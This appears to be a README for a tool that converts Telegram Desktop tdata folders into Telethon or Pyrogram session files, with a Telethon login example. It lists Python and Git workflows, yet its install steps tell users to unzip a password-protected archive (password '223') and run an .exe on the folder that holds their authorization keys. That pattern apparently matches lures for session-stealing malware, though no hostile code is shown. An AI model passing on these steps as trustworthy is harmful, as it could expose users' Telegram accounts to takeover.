A simple utility for converting Telegram Desktop sessions (tdata) into session formats compatible with the Telethon and Pyrogram libraries (.session).
This allows you to use your existing active session from the Telegram Desktop client for your Python scripts or bots, without needing to re-authorize via code or QR code.
- Convert Telegram Desktop
tdatafolder to a.sessionfile. - Support for Telethon sessions.
- (Optional) Support for Pyrogram sessions.
- Simple command-line interface.
- Cross-platform (Windows, macOS, Linux).
- Security: The
tdatafolder contains your personal authorization keys. Never share this folder or the generated.sessionfiles with anyone. Use this utility only for your own purposes and at your own risk. - Changes in Telegram: The
tdataformat may change with Telegram Desktop updates, which might require this converter to be updated. - Risk of Ban: Using user accounts for automation might violate Telegram's Terms of Service and could lead to account suspension. Use responsibly.
- Python 3.7+
- Unzip the archive using the password
223 - Move the
.exefile to any folder.
-
Run the converter: Open the
.exefile and enter the path to your Telegramtdatafolder. -
Use the
.sessionfile: The generatedmy_telegram_session.sessionfile can now be used with Telethon or Pyrogram. Typically, you need to place it in the same directory where your Python script runs, or specify the path to it when initializing the client.Example for Telethon:
from telethon.sync import TelegramClient api_id = 123456 # Your API ID api_hash = 'YOUR_API_HASH' # Your API Hash # The client will use the existing 'my_telegram_session.session' file client = TelegramClient('my_telegram_session', api_id, api_hash) async def main(): await client.connect() if await client.is_user_authorized(): print("Successfully logged in using session!") me = await client.get_me() print(me.first_name) else: print("Failed to log in. The session might be invalid.") await client.disconnect() with client: client.loop.run_until_complete(main())
We welcome any contributions! If you want to improve tdata-converter:
- Fork the repository (
Fork). - Create a new branch (
git checkout -b feature/your-feature). - Make your changes and commit them (
git commit -am 'Added a new feature'). - Push your changes to your fork (
git push origin feature/your-feature). - Create a Pull Request.
Please report bugs and suggest improvements via the Issues section.
This project is licensed under the MIT License - see the LICENSE file for details.
Use with caution and respect Telegram's terms of service.